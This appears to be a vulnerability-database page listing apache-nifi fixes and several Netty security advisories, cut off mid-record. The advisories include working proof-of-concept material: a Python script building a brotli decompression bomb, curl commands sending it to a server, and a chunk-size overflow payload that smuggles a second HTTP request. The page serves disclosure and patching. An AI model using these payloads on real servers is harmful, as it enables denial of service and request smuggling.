Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Package apache-nifi version 2.10.0-r1 fixes 31 vulnerabilities: ghsa-x4gw-5cx5-pgmh, ghsa-3qp7-7mw8-wx86, ghsa-f6hv-jmp6-3vwv, ghsa-c2gf-v879-257j, ghsa-cm33-6792-r9fm...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "apache-nifi"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.10.0-r1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.10.0-r1"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package apache-nifi version 2.10.0-r1 fixes 31 vulnerabilities: ghsa-x4gw-5cx5-pgmh, ghsa-3qp7-7mw8-wx86, ghsa-f6hv-jmp6-3vwv, ghsa-c2gf-v879-257j, ghsa-cm33-6792-r9fm...",
"id": "CLEANSTART-2026-ZG52936",
"modified": "2026-07-30T09:35:42Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apache/nifi"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in apache-nifi 2.10.0-r1",
"upstream": [
"ghsa-x4gw-5cx5-pgmh",
"ghsa-3qp7-7mw8-wx86",
"ghsa-f6hv-jmp6-3vwv",
"ghsa-c2gf-v879-257j",
"ghsa-cm33-6792-r9fm",
"ghsa-mj4r-2hfc-f8p6",
"ghsa-rwm7-x88c-3g2p",
"ghsa-5x3r-wrvg-rp6q",
"ghsa-xmv7-r254-6q78",
"ghsa-57rv-r2g8-2cj3",
"ghsa-xxqh-mfjm-7mv9",
"ghsa-m4cv-j2px-7723",
"ghsa-5pvg-856g-cp85",
"ghsa-676x-f7gg-47vc",
"ghsa-cmm3-54f8-px4j",
"ghsa-563q-j3cm-6jxm",
"ghsa-v8h7-rr48-vmmv",
"ghsa-c653-97m9-rcg9",
"ghsa-38f8-5428-x5cv",
"ghsa-45q3-82m4-75jr",
"ghsa-hvcg-qmg6-jm4c",
"ghsa-cq4q-cv5g-r8q5",
"ghsa-w573-9ffj-6ff9",
"CVE-2026-10532",
"CVE-2026-9828",
"CVE-2026-13006",
"CVE-2026-54399",
"CVE-2026-54428",
"CVE-2025-8671",
"CVE-2026-40983",
"CVE-2026-40984"
]
}
GHSA-CQ4Q-CV5G-R8Q5
Vulnerability from github – Published: 2026-06-15 20:44 – Updated: 2026-06-15 20:44Summary
Netty QUIC exposes the stateless reset token on the network path when using the default HMAC-based connection-ID and stateless-reset-token generators. The reset token for the server's current source connection ID can be derived from bytes that appear as the connection ID in QUIC headers after a source-CID rotation. An on-path attacker observing the headers can use the token to perform a Denial of Service by sending a spoofed Stateless Reset packet.
Details
The sign-based connection ID generator (HmacSignQuicConnectionIdGenerator) and reset token generator (HmacSignQuicResetTokenGenerator) both evaluate HMAC-SHA256 with the same JVM-wide static key (io.netty.handler.codec.quic.Hmac).
During source CID rotation (QuicheQuicChannel.newSourceConnectionIds), the current server source CID C is used as input to produce the next CID N. The stateless reset token for C is defined over HMAC(K, C), specifically the first 16 bytes. The next CID N is the first L bytes of the same digest, where L = |C|.
Whenever L ≥ 16, the first 16 bytes of N are exactly the stateless reset token for C. Because N is carried in QUIC headers as a connection ID, an observer can read the headers and learn the reset token without decrypting the payload.
This directly violates RFC 9000
https://datatracker.ietf.org/doc/html/rfc9000#name-calculating-a-stateless-res: The stateless reset token MUST be difficult to guess.
Additionally https://datatracker.ietf.org/doc/html/rfc9000#name-stateless-reset-oracle
Impact
Information Disclosure and Denial of Service. An on-path attacker can obtain the stateless reset token from the connection ID header and attempt to abruptly close the client side of the connection by sending a spoofed Stateless Reset datagram.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-classes-quic"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50009"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-330"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:44:20Z",
"nvd_published_at": "2026-06-12T16:16:31Z",
"severity": "MODERATE"
},
"details": "### Summary\nNetty QUIC exposes the stateless reset token on the network path when using the default HMAC-based connection-ID and stateless-reset-token generators. The reset token for the server\u0027s current source connection ID can be derived from bytes that appear as the connection ID in QUIC headers after a source-CID rotation. An on-path attacker observing the headers can use the token to perform a Denial of Service by sending a spoofed Stateless Reset packet.\n\n### Details\nThe sign-based connection ID generator (HmacSignQuicConnectionIdGenerator) and reset token generator (HmacSignQuicResetTokenGenerator) both evaluate HMAC-SHA256 with the same JVM-wide static key (io.netty.handler.codec.quic.Hmac).\n\nDuring source CID rotation (QuicheQuicChannel.newSourceConnectionIds), the current server source CID C is used as input to produce the next CID N. The stateless reset token for C is defined over HMAC(K, C), specifically the first 16 bytes. The next CID N is the first L bytes of the same digest, where L = |C|.\n\nWhenever L \u2265 16, the first 16 bytes of N are exactly the stateless reset token for C. Because N is carried in QUIC headers as a connection ID, an observer can read the headers and learn the reset token without decrypting the payload.\n\nThis directly violates RFC 9000\nhttps://datatracker.ietf.org/doc/html/rfc9000#name-calculating-a-stateless-res: `The stateless reset token MUST be difficult to guess.`\nAdditionally https://datatracker.ietf.org/doc/html/rfc9000#name-stateless-reset-oracle\n\n### Impact\nInformation Disclosure and Denial of Service. An on-path attacker can obtain the stateless reset token from the connection ID header and attempt to abruptly close the client side of the connection by sending a spoofed Stateless Reset datagram.",
"id": "GHSA-cq4q-cv5g-r8q5",
"modified": "2026-06-15T20:44:20Z",
"published": "2026-06-15T20:44:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-cq4q-cv5g-r8q5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50009"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Netty: QUIC stateless reset token material exposed through header-visible connection IDs"
}
GHSA-F6HV-JMP6-3VWV
Vulnerability from github – Published: 2026-05-07 00:46 – Updated: 2026-05-14 20:41Summary
HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service.
The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections.
Details
HttpContentDecompressor stores the maxAllocation value at construction time (HttpContentDecompressor.java:89) and uses it in newContentDecoder() to create the appropriate decompression handler.
For gzip/deflate, maxAllocation is forwarded to ZlibCodecFactory.newZlibDecoder():
// HttpContentDecompressor.java:101 — maxAllocation IS enforced
.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))
ZlibDecoder.prepareDecompressBuffer() enforces this as a hard cap by setting the buffer's maxCapacity and throwing DecompressionException when the limit is reached:
// ZlibDecoder.java:68 — hard limit on buffer capacity
return ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);
// ZlibDecoder.java:80 — throws when exceeded
throw new DecompressionException("Decompression buffer has reached maximum size: " + buffer.maxCapacity());
For brotli, zstd, and snappy, the decoders are created without any size limit:
// HttpContentDecompressor.java:120 — maxAllocation IGNORED
.handlers(new BrotliDecoder())
// HttpContentDecompressor.java:129 — maxAllocation IGNORED
.handlers(new SnappyFrameDecoder())
// HttpContentDecompressor.java:138 — maxAllocation IGNORED
.handlers(new ZstdDecoder())
BrotliDecoder has no maxAllocation parameter at all — there is no way to constrain its output. It streams decompressed data in chunks via fireChannelRead with no total limit.
ZstdDecoder() defaults to a 4MB maximumAllocationSize, but this only constrains individual buffer allocations, not total output. The decode loop (ZstdDecoder.java:100-114) creates new buffers and fires channelRead repeatedly, so total decompressed output is unbounded.
The identical pattern exists in DelegatingDecompressorFrameListener.newContentDecompressor() at lines 188-210 for HTTP/2.
PoC
- Configure a Netty HTTP server with decompression bomb protection:
pipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max
pipeline.addLast(new HttpObjectAggregator(1048576)); // 1MB max
- Generate a brotli-compressed bomb (~1KB compressed → 1GB decompressed):
import brotli
bomb = b'\x00' * (1024 * 1024 * 1024) # 1GB of zeros
compressed = brotli.compress(bomb, quality=11)
with open('bomb.br', 'wb') as f:
f.write(compressed)
# compressed size: ~1KB
- Send the bomb with gzip encoding (BLOCKED by maxAllocation):
# This is caught — ZlibDecoder enforces the 1MB limit
curl -X POST http://target:8080/api \
-H 'Content-Encoding: gzip' \
--data-binary @bomb.gz
# Result: DecompressionException thrown at 1MB
- Send the same bomb with brotli encoding (BYPASSES maxAllocation):
# This bypasses the limit — BrotliDecoder has no maxAllocation
curl -X POST http://target:8080/api \
-H 'Content-Encoding: br' \
--data-binary @bomb.br
# Result: Full 1GB decompressed into memory → OOM
- The same bypass works with
Content-Encoding: zstdandContent-Encoding: snappy.
Impact
- Denial of Service: An attacker can cause out-of-memory conditions on any Netty server that relies on
maxAllocationfor decompression bomb protection, by simply using a non-gzip content encoding. - False sense of security: Developers who explicitly configure
maxAllocationto protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered. - Trivial bypass: The attacker only needs to change one HTTP header (
Content-Encoding: brinstead ofContent-Encoding: gzip) to circumvent the protection entirely. - Both HTTP/1.1 and HTTP/2: The vulnerability exists in both
HttpContentDecompressor(HTTP/1.1) andDelegatingDecompressorFrameListener(HTTP/2).
Recommended Fix
Pass maxAllocation to all decoder constructors. For BrotliDecoder, which currently has no maxAllocation support, add the parameter:
HttpContentDecompressor.java — pass maxAllocation to all decoders:
// Line 120: BrotliDecoder — add maxAllocation support
.handlers(new BrotliDecoder(maxAllocation))
// Line 129: SnappyFrameDecoder — add maxAllocation support
.handlers(new SnappyFrameDecoder(maxAllocation))
// Line 138: ZstdDecoder — forward the configured maxAllocation
.handlers(new ZstdDecoder(maxAllocation))
DelegatingDecompressorFrameListener.java — same fix at lines 188-210.
BrotliDecoder — add maxAllocation parameter with the same semantics as ZlibDecoder.prepareDecompressBuffer(): set buffer maxCapacity and throw DecompressionException when the total decompressed output exceeds the limit.
SnappyFrameDecoder — add maxAllocation parameter with equivalent enforcement.
ZstdDecoder — ensure that when maxAllocation is set, total output across all buffers is bounded (not just per-buffer allocation size).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42587"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:46:35Z",
"nvd_published_at": "2026-05-13T19:17:24Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`HttpContentDecompressor` accepts a `maxAllocation` parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via `ZlibDecoder`, but is silently ignored when the content encoding is `br` (Brotli), `zstd`, or `snappy`. An attacker can bypass the configured decompression limit by sending a compressed payload with `Content-Encoding: br` instead of `Content-Encoding: gzip`, causing unbounded memory allocation and out-of-memory denial of service.\n\nThe same vulnerability exists in `DelegatingDecompressorFrameListener` for HTTP/2 connections.\n\n## Details\n\n`HttpContentDecompressor` stores the `maxAllocation` value at construction time (`HttpContentDecompressor.java:89`) and uses it in `newContentDecoder()` to create the appropriate decompression handler.\n\nFor gzip/deflate, `maxAllocation` is forwarded to `ZlibCodecFactory.newZlibDecoder()`:\n\n```java\n// HttpContentDecompressor.java:101 \u2014 maxAllocation IS enforced\n.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))\n```\n\n`ZlibDecoder.prepareDecompressBuffer()` enforces this as a hard cap by setting the buffer\u0027s `maxCapacity` and throwing `DecompressionException` when the limit is reached:\n\n```java\n// ZlibDecoder.java:68 \u2014 hard limit on buffer capacity\nreturn ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);\n// ZlibDecoder.java:80 \u2014 throws when exceeded\nthrow new DecompressionException(\"Decompression buffer has reached maximum size: \" + buffer.maxCapacity());\n```\n\nFor brotli, zstd, and snappy, the decoders are created without any size limit:\n\n```java\n// HttpContentDecompressor.java:120 \u2014 maxAllocation IGNORED\n.handlers(new BrotliDecoder())\n\n// HttpContentDecompressor.java:129 \u2014 maxAllocation IGNORED\n.handlers(new SnappyFrameDecoder())\n\n// HttpContentDecompressor.java:138 \u2014 maxAllocation IGNORED\n.handlers(new ZstdDecoder())\n```\n\n`BrotliDecoder` has no `maxAllocation` parameter at all \u2014 there is no way to constrain its output. It streams decompressed data in chunks via `fireChannelRead` with no total limit.\n\n`ZstdDecoder()` defaults to a 4MB `maximumAllocationSize`, but this only constrains individual buffer allocations, not total output. The decode loop (`ZstdDecoder.java:100-114`) creates new buffers and fires `channelRead` repeatedly, so total decompressed output is unbounded.\n\nThe identical pattern exists in `DelegatingDecompressorFrameListener.newContentDecompressor()` at lines 188-210 for HTTP/2.\n\n## PoC\n\n1. Configure a Netty HTTP server with decompression bomb protection:\n\n```java\npipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max\npipeline.addLast(new HttpObjectAggregator(1048576)); // 1MB max\n```\n\n2. Generate a brotli-compressed bomb (~1KB compressed \u2192 1GB decompressed):\n\n```python\nimport brotli\nbomb = b\u0027\\x00\u0027 * (1024 * 1024 * 1024) # 1GB of zeros\ncompressed = brotli.compress(bomb, quality=11)\nwith open(\u0027bomb.br\u0027, \u0027wb\u0027) as f:\n f.write(compressed)\n# compressed size: ~1KB\n```\n\n3. Send the bomb with gzip encoding (BLOCKED by maxAllocation):\n\n```bash\n# This is caught \u2014 ZlibDecoder enforces the 1MB limit\ncurl -X POST http://target:8080/api \\\n -H \u0027Content-Encoding: gzip\u0027 \\\n --data-binary @bomb.gz\n# Result: DecompressionException thrown at 1MB\n```\n\n4. Send the same bomb with brotli encoding (BYPASSES maxAllocation):\n\n```bash\n# This bypasses the limit \u2014 BrotliDecoder has no maxAllocation\ncurl -X POST http://target:8080/api \\\n -H \u0027Content-Encoding: br\u0027 \\\n --data-binary @bomb.br\n# Result: Full 1GB decompressed into memory \u2192 OOM\n```\n\n5. The same bypass works with `Content-Encoding: zstd` and `Content-Encoding: snappy`.\n\n## Impact\n\n- **Denial of Service**: An attacker can cause out-of-memory conditions on any Netty server that relies on `maxAllocation` for decompression bomb protection, by simply using a non-gzip content encoding.\n- **False sense of security**: Developers who explicitly configure `maxAllocation` to protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered.\n- **Trivial bypass**: The attacker only needs to change one HTTP header (`Content-Encoding: br` instead of `Content-Encoding: gzip`) to circumvent the protection entirely.\n- **Both HTTP/1.1 and HTTP/2**: The vulnerability exists in both `HttpContentDecompressor` (HTTP/1.1) and `DelegatingDecompressorFrameListener` (HTTP/2).\n\n## Recommended Fix\n\nPass `maxAllocation` to all decoder constructors. For `BrotliDecoder`, which currently has no `maxAllocation` support, add the parameter:\n\n**HttpContentDecompressor.java** \u2014 pass maxAllocation to all decoders:\n\n```java\n// Line 120: BrotliDecoder \u2014 add maxAllocation support\n.handlers(new BrotliDecoder(maxAllocation))\n\n// Line 129: SnappyFrameDecoder \u2014 add maxAllocation support\n.handlers(new SnappyFrameDecoder(maxAllocation))\n\n// Line 138: ZstdDecoder \u2014 forward the configured maxAllocation\n.handlers(new ZstdDecoder(maxAllocation))\n```\n\n**DelegatingDecompressorFrameListener.java** \u2014 same fix at lines 188-210.\n\n**BrotliDecoder** \u2014 add `maxAllocation` parameter with the same semantics as `ZlibDecoder.prepareDecompressBuffer()`: set buffer maxCapacity and throw `DecompressionException` when the total decompressed output exceeds the limit.\n\n**SnappyFrameDecoder** \u2014 add `maxAllocation` parameter with equivalent enforcement.\n\n**ZstdDecoder** \u2014 ensure that when `maxAllocation` is set, total output across all buffers is bounded (not just per-buffer allocation size).",
"id": "GHSA-f6hv-jmp6-3vwv",
"modified": "2026-05-14T20:41:29Z",
"published": "2026-05-07T00:46:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42587"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty: HttpContentDecompressor maxAllocation bypass when Content-Encoding set to br/zstd/snappy leads to decompression bomb DoS"
}
GHSA-HVCG-QMG6-JM4C
Vulnerability from github – Published: 2026-06-15 20:46 – Updated: 2026-06-15 20:46Summary
Before reading the first request-line, HttpObjectDecoder skips every byte for which
Character.isISOControl(b) is true (0x00–0x1F and 0x7F) as well as all whitespace.
RFC 9112 §2.2 only asks servers to ignore empty CRLF lines preceding the request-line —
a carefully scoped robustness allowance intended to handle HTTP/1.0 POST workarounds.
Silently absorbing NUL bytes, SOH, STX, and other non-CRLF control characters goes
significantly beyond this, and can be exploited for request-boundary confusion in pipelined
or multiplexed transports where a front-end component treats those bytes differently.
Affected Code
| File | Lines | Role |
|---|---|---|
codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java |
1298–1313 | ISO_CONTROL_OR_WHITESPACE static initialiser — marks all ISO control chars |
codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java |
1307–1313 | SKIP_CONTROL_CHARS_BYTES ByteProcessor — skips the entire set |
codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java |
1275–1289 | LineParser.skipControlChars — advances readerIndex past all matching bytes |
Specification Analysis
RFC 9112 §2.2 — Message Parsing
In the interest of robustness, a server that is expecting to receive and parse a request-line SHOULD ignore at least one empty line (CRLF) received prior to the request-line.
An HTTP/1.1 user agent MUST NOT preface or follow a request with an extra CRLF.
Deviation
The RFC names a single permitted exception: an empty line (bare CRLF, i.e. the two-byte
sequence \r\n). The ISO_CONTROL_OR_WHITESPACE table is initialised as:
for (byte b = Byte.MIN_VALUE; b < Byte.MAX_VALUE; b++) {
ISO_CONTROL_OR_WHITESPACE[128 + b] =
Character.isISOControl(b) || isWhitespace(b);
}
Character.isISOControl returns true for 0x00–0x1F and 0x7F. This includes NUL
(0x00), SOH (0x01), STX (0x02), BEL (0x07), DEL (0x7F), and every other non-CRLF
control character. The SKIP_CONTROL_CHARS state runs this scan unconditionally before the
first READ_INITIAL, meaning any sequence of such bytes prepended to a request is silently
consumed.
A load balancer or TLS terminator that does not perform the same scan sees a different message boundary than Netty does, which is the basis of a request-desync / smuggling attack.
Suggested Unit Test
Add to HttpRequestDecoderTest.java.
@Test
public void testNonCrlfControlBytesPrecedingRequestLineAreRejected() {
// RFC 9112 §2.2: servers SHOULD ignore "at least one empty line (CRLF)" before the
// request-line. Non-CRLF control bytes are not part of this robustness allowance
// and must not be silently swallowed.
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
ByteBuf buf = Unpooled.buffer();
buf.writeByte(0x00); // NUL — not an empty CRLF line
buf.writeByte(0x01); // SOH — not an empty CRLF line
buf.writeCharSequence(
"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n",
CharsetUtil.US_ASCII);
channel.writeInbound(buf);
HttpRequest req = channel.readInbound();
// Current behaviour: NUL and SOH are in ISO_CONTROL_OR_WHITESPACE, so they are
// silently skipped; the request decodes successfully and isFailure() == false.
//
// RFC-correct behaviour: only empty CRLF lines should be ignored; NUL/SOH must
// cause a parse error — isFailure() == true.
assertTrue(
req.decoderResult().isFailure(),
"Non-CRLF control bytes before the request-line must not be silently skipped " +
"(RFC 9112 §2.2 allows only empty CRLF lines)");
assertFalse(channel.finish());
}
Current behaviour (unfixed): skipControlChars advances past 0x00 and 0x01 because
both are in ISO_CONTROL_OR_WHITESPACE; the request parses normally, isFailure() is
false → test fails.
Expected behaviour after fix: only CRLF empty lines are tolerated; non-CRLF control
bytes produce an error, isFailure() is true → test passes.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50020"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:46:36Z",
"nvd_published_at": "2026-06-12T16:16:31Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nBefore reading the first request-line, `HttpObjectDecoder` skips every byte for which\n`Character.isISOControl(b)` is `true` (0x00\u20130x1F and 0x7F) as well as all whitespace.\nRFC 9112 \u00a72.2 only asks servers to ignore **empty CRLF lines** preceding the request-line \u2014\na carefully scoped robustness allowance intended to handle HTTP/1.0 POST workarounds.\nSilently absorbing NUL bytes, SOH, STX, and other non-CRLF control characters goes\nsignificantly beyond this, and can be exploited for request-boundary confusion in pipelined\nor multiplexed transports where a front-end component treats those bytes differently.\n\n## Affected Code\n\n| File | Lines | Role |\n|------|-------|------|\n| `codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java` | 1298\u20131313 | `ISO_CONTROL_OR_WHITESPACE` static initialiser \u2014 marks all ISO control chars |\n| `codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java` | 1307\u20131313 | `SKIP_CONTROL_CHARS_BYTES` `ByteProcessor` \u2014 skips the entire set |\n| `codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java` | 1275\u20131289 | `LineParser.skipControlChars` \u2014 advances `readerIndex` past all matching bytes |\n\n## Specification Analysis\n\n### RFC 9112 \u00a72.2 \u2014 Message Parsing\n\n\u003e In the interest of robustness, a server that is expecting to receive and parse a\n\u003e request-line **SHOULD ignore at least one empty line (CRLF)** received prior to the\n\u003e request-line.\n\n\u003e An HTTP/1.1 user agent **MUST NOT** preface or follow a request with an extra CRLF.\n\n### Deviation\n\nThe RFC names a single permitted exception: an **empty line** (bare CRLF, i.e. the two-byte\nsequence `\\r\\n`). The `ISO_CONTROL_OR_WHITESPACE` table is initialised as:\n\n```java\nfor (byte b = Byte.MIN_VALUE; b \u003c Byte.MAX_VALUE; b++) {\n ISO_CONTROL_OR_WHITESPACE[128 + b] =\n Character.isISOControl(b) || isWhitespace(b);\n}\n```\n\n`Character.isISOControl` returns `true` for `0x00`\u2013`0x1F` and `0x7F`. This includes NUL\n(`0x00`), SOH (`0x01`), STX (`0x02`), BEL (`0x07`), DEL (`0x7F`), and every other non-CRLF\ncontrol character. The `SKIP_CONTROL_CHARS` state runs this scan unconditionally before the\nfirst `READ_INITIAL`, meaning any sequence of such bytes prepended to a request is silently\nconsumed.\n\nA load balancer or TLS terminator that does not perform the same scan sees a different\nmessage boundary than Netty does, which is the basis of a request-desync / smuggling attack.\n\n## Suggested Unit Test\n\nAdd to `HttpRequestDecoderTest.java`.\n\n```java\n@Test\npublic void testNonCrlfControlBytesPrecedingRequestLineAreRejected() {\n // RFC 9112 \u00a72.2: servers SHOULD ignore \"at least one empty line (CRLF)\" before the\n // request-line. Non-CRLF control bytes are not part of this robustness allowance\n // and must not be silently swallowed.\n EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n\n ByteBuf buf = Unpooled.buffer();\n buf.writeByte(0x00); // NUL \u2014 not an empty CRLF line\n buf.writeByte(0x01); // SOH \u2014 not an empty CRLF line\n buf.writeCharSequence(\n \"GET / HTTP/1.1\\r\\nHost: example.com\\r\\n\\r\\n\",\n CharsetUtil.US_ASCII);\n\n channel.writeInbound(buf);\n HttpRequest req = channel.readInbound();\n\n // Current behaviour: NUL and SOH are in ISO_CONTROL_OR_WHITESPACE, so they are\n // silently skipped; the request decodes successfully and isFailure() == false.\n //\n // RFC-correct behaviour: only empty CRLF lines should be ignored; NUL/SOH must\n // cause a parse error \u2014 isFailure() == true.\n assertTrue(\n req.decoderResult().isFailure(),\n \"Non-CRLF control bytes before the request-line must not be silently skipped \" +\n \"(RFC 9112 \u00a72.2 allows only empty CRLF lines)\");\n\n assertFalse(channel.finish());\n}\n```\n\n**Current behaviour (unfixed):** `skipControlChars` advances past `0x00` and `0x01` because\nboth are in `ISO_CONTROL_OR_WHITESPACE`; the request parses normally, `isFailure()` is\n`false` \u2192 test **fails**.\n\n**Expected behaviour after fix:** only CRLF empty lines are tolerated; non-CRLF control\nbytes produce an error, `isFailure()` is `true` \u2192 test **passes**.",
"id": "GHSA-hvcg-qmg6-jm4c",
"modified": "2026-06-15T20:46:36Z",
"published": "2026-06-15T20:46:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-hvcg-qmg6-jm4c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50020"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: HttpObjectDecoder skips arbitrary initial control characters when only initial CRLF characters are permitted"
}
GHSA-M4CV-J2PX-7723
Vulnerability from github – Published: 2026-05-07 00:13 – Updated: 2026-05-14 20:41Summary
Netty's chunk size parser silently overflows int, enabling request smuggling attacks.
Details
io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.
The size is accumulated as follows:
result *= 16; result += digit;
The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.
PoC
The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.
@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked\r\n\r\n" +
"100000004\r\n" +
"test\r\n" +
"0\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Content-Length: 0\r\n" +
"\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));
// Request 1
HttpRequest request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
HttpContent content = channel.readInbound();
assertTrue(content.decoderResult().isSuccess());
assertEquals("test", content.content().toString(CharsetUtil.US_ASCII));
content.release();
LastHttpContent last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
// Request 2
request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
}
Impact
HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
